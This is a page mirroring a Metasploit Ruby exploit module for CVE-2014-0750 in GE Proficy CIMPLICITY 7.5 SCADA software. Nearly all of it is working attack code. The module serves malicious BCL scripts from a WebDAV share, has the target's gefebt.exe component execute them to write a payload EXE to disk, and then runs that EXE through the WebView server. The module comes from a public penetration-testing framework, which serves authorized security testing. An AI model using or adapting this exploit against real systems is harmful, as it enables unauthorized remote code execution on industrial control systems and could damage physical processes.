CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Auxiliary::Report
10
include Msf::Exploit::EXE
11
include Msf::Exploit::Remote::HttpClient
12
include Msf::Exploit::Remote::HttpServer::HTML
13
14
def initialize
15
super(
16
'Name' => 'GE Proficy CIMPLICITY gefebt.exe Remote Code Execution',
17
'Description' => %q{
18
This module abuses the gefebt.exe component in GE Proficy CIMPLICITY, reachable through the
19
CIMPLICIY CimWebServer. The vulnerable component allows to execute remote BCL files in
20
shared resources. An attacker can abuse this behavior to execute a malicious BCL and
21
drop an arbitrary EXE. The last one can be executed remotely through the WebView server.
22
This module has been tested successfully in GE Proficy CIMPLICITY 7.5 with the embedded
23
CimWebServer. This module starts a WebDAV server to provide the malicious BCL files. If
24
the target does not have the WebClient service enabled, an external SMB service is necessary.
25
},
26
'Author' => [
27
'amisto0x07', # Vulnerability discovery
28
'Z0mb1E', # Vulnerability discovery
29
'juan vazquez' # Metasploit module
30
],
31
'References' =>
32
[
33
[ 'CVE', '2014-0750'],
34
[ 'ZDI', '14-015' ],
35
[ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-14-023-01' ]
36
],
37
'Stance' => Msf::Exploit::Stance::Aggressive,
38
'Platform' => 'win',
39
'Targets' =>
40
[
41
[ 'GE Proficy CIMPLICITY 7.5 (embedded CimWebServer)', { } ]
42
],
43
'DefaultTarget' => 0,
44
'Privileged' => true,
45
'DisclosureDate' => 'Jan 23 2014'
46
)
47
register_options(
48
[
49
Opt::RPORT(80),
50
OptString.new('URIPATH', [ true, 'The URI to use (do not change)', '/' ]),
51
OptPort.new('SRVPORT', [ true, 'The daemon port to listen on (do not change)', 80 ]),
52
OptString.new('UNCPATH', [ false, 'Override the UNC path to use.' ]),
53
OptBool.new('ONLYMAKE', [ false, 'Just generate the malicious BCL files for using with an external SMB server.', true ]),
54
OptString.new('TARGETURI', [true, 'The base path to the CimWeb', '/'])
55
])
56
end
57
58
def on_request_uri(cli, request)
59
case request.method
60
when 'OPTIONS'
61
process_options(cli, request)
62
when 'PROPFIND'
63
process_propfind(cli, request)
64
when 'GET'
65
process_get(cli, request)
66
else
67
vprint_status("#{request.method} => 404 (#{request.uri})")
68
resp = create_response(404, "Not Found")
69
resp.body = ""
70
resp['Content-Type'] = 'text/html'
71
cli.send_response(resp)
72
end
73
end
74
75
def autofilter
76
true
77
end
78
79
def process_get(cli, request)
80
if request.uri =~ /#{@basename}(\d)\.bcl/
81
print_status("GET => Payload")
82
data = @bcls[$1.to_i]
83
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
84
return
85
end
86
87
# Anything else is probably a request for a data file...
88
vprint_status("GET => DATA (#{request.uri})")
89
data = rand_text_alpha(8 + rand(10))
90
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
91
end
92
93
#
94
# OPTIONS requests sent by the WebDav Mini-Redirector
95
#
96
def process_options(cli, request)
97
vprint_status("OPTIONS #{request.uri}")
98
headers = {
99
'MS-Author-Via' => 'DAV',
100
'DASL' => '<DAV:sql>',
101
'DAV' => '1, 2',
102
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
103
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
104
'Cache-Control' => 'private'
105
}
106
resp = create_response(207, "Multi-Status")
107
headers.each_pair {|k,v| resp[k] = v }
108
resp.body = ""
109
resp['Content-Type'] = 'text/xml'
110
cli.send_response(resp)
111
end
112
113
#
114
# PROPFIND requests sent by the WebDav Mini-Redirector
115
#
116
def process_propfind(cli, request)
117
path = request.uri
118
print_status("Received WebDAV PROPFIND request")
119
body = ''
120
121
if (path =~ /\.bcl$/i)
122
print_status("Sending BCL multistatus for #{path} ...")
123
body = %Q|<?xml version="1.0"?>
124
<a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:">
125
<a:response>
126
</a:response>
127
</a:multistatus>
128
|
129
elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
130
# Response for anything else (generally just /)
131
print_status("Sending directory multistatus for #{path} ...")
132
body = %Q|<?xml version="1.0" encoding="utf-8"?>
133
<D:multistatus xmlns:D="DAV:">
134
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
135
<D:href>#{path}</D:href>
136
<D:propstat>
137
<D:prop>
138
<lp1:resourcetype><D:collection/></lp1:resourcetype>
139
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
140
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
141
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
142
<D:lockdiscovery/>
143
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
144
</D:prop>
145
<D:status>HTTP/1.1 200 OK</D:status>
146
</D:propstat>
147
</D:response>
148
</D:multistatus>
149
|
150
else
151
print_status("Sending 404 for #{path} ...")
152
send_not_found(cli)
153
return
154
end
155
156
# send the response
157
resp = create_response(207, "Multi-Status")
158
resp.body = body
159
resp['Content-Type'] = 'text/xml'
160
cli.send_response(resp)
161
end
162
163
def check
164
uri = normalize_uri(target_uri.to_s, "CimWeb", "gefebt.exe")
165
uri << "?"
166
167
res = send_request_cgi('uri' => uri)
168
169
# res.to_s is used because the CIMPLICITY embedded web server
170
# doesn't send HTTP compatible responses.
171
if res and res.code == 200 and res.to_s =~ /Usage.*gefebt\.exe/
172
return Exploit::CheckCode::Detected
173
end
174
175
Exploit::CheckCode::Unknown
176
end
177
178
def exploit
179
@extensions = "bcl"
180
@bcls= []
181
@total_exe = 0
182
183
setup_resources
184
185
make_bcls
186
187
print_status("BCLs available at #{@exploit_unc}#{@share_name}\\#{@basename}{i}.bcl")
188
189
unless datastore['UNCPATH'].blank?
190
@bcls.each_index { |i| file_create("#{@basename}#{i}.bcl", @bcls[i]) }
191
if datastore['ONLYMAKE']
192
print_warning("Files created, remember to upload the BCL files to the remote share!")
193
print_warning("Once ready set ONLYMAKE to false")
194
else
195
exploit_bcl
196
end
197
return
198
end
199
200
super
201
end
202
203
def setup_resources
204
if datastore['UNCPATH'].blank?
205
# Using WebDAV
206
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
207
@basename = rand_text_alpha(3)
208
@share_name = rand_text_alpha(3)
209
@exploit_unc = "\\\\#{my_host}\\"
210
@exe_filename = "#{rand_text_alpha(3 + rand(4))}.exe"
211
unless datastore['SRVPORT'].to_i == 80 && datastore['URIPATH'] == '/'
212
fail_with(Failure::BadConfig, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
213
end
214
else
215
# Using external SMB Server
216
if datastore['UNCPATH'] =~ /(\\\\[^\\]*\\)([^\\]*)\\([^\\]*)\.bcl/
217
@exploit_unc = $1
218
@share_name = $2
219
@basename = $3
220
# Use an static file name for the EXE since the module doesn't
221
# deliver the BCL files in this case.
222
@exe_filename = "ge_pld.exe"
223
else
224
fail_with(Failure::BadConfig, 'Bad UNCPATH format, should be \\\\host\\shared_folder\\base_name.blc')
225
end
226
end
227
end
228
229
def make_bcls
230
exe = generate_payload_exe
231
# Padding to be sure we're aligned to 4 bytes.
232
exe << "\x00" until exe.length % 4 == 0
233
longs = exe.unpack("V*")
234
offset = 0
235
236
# gefebt.exe isn't able to handle (on my test environment) long
237
# arrays bigger than 16000, so we need to split it.
238
while longs.length > 0
239
parts = longs.slice!(0, 16000)
240
@bcls << generate_bcl(parts , offset)
241
offset += parts.length * 4
242
end
243
end
244
245
def generate_bcl(slices, offset)
246
bcl_payload = ""
247
248
slices.each_index do |i|
249
bcl_payload << "s(#{i + 1}) = #{slices[i]}\n"
250
end
251
252
<<-EOF
253
Option CStrings On
254
255
Sub Main()
256
Open "#{@exe_filename}" For Binary Access Write As #1
257
Dim s(#{slices.length}) As Long
258
#{bcl_payload}
259
260
For x = 1 To #{slices.length}
261
t = x - 1
262
Put #1,t*4+1+#{offset},s(x)
263
Next x
264
265
Close
266
End Sub
267
EOF
268
end
269
270
def execute_bcl(i)
271
print_status("Executing BCL code #{@basename}#{i}.bcl to drop final payload...")
272
273
uri = normalize_uri(target_uri.to_s, "CimWeb", "gefebt.exe")
274
uri << "?#{@exploit_unc}#{@share_name}\\#{@basename}#{i}.bcl"
275
276
res = send_request_cgi('uri' => uri)
277
278
# We use res.to_s because the embedded CIMPLICITY Web server doesn't
279
# answer with valid HTTP responses.
280
if res and res.code == 200 and res.to_s =~ /(^Error.*$)/
281
print_error("Server answered with error: $1")
282
fail_with(Failure::Unknown, "#{peer} - Server answered with error")
283
elsif res and res.code == 200 and res.to_s =~ /No such file or directory/
284
fail_with(Failure::BadConfig, "#{peer} - The target wasn't able to access the remote BCL file")
285
elsif res and res.code == 200
286
print_good("'200 OK' answer indicates success!")
287
else
288
fail_with(Failure::Unknown, "#{peer} - Unknown error")
289
end
290
end
291
292
def exploit_bcl
293
@bcls.each_index do |i|
294
execute_bcl(i)
295
end
296
297
print_status("Executing #{@exe_filename}...")
298
uri = normalize_uri(target_uri.to_s, "CimWeb", @exe_filename)
299
uri << "?"
300
301
# Enough timeout to execute the payload, but don't block the exploit
302
# until there is an answer.
303
send_request_cgi({'uri' => uri}, 3)
304
end
305
306
def primer
307
exploit_bcl
308
service.stop
309
end
310
311
def file_create(fname, data)
312
ltype = "exploit.fileformat.#{self.shortname}"
313
full_path = store_local(ltype, nil, data, fname)
314
print_good("#{fname} stored at #{full_path}")
315
end
316
end
317
318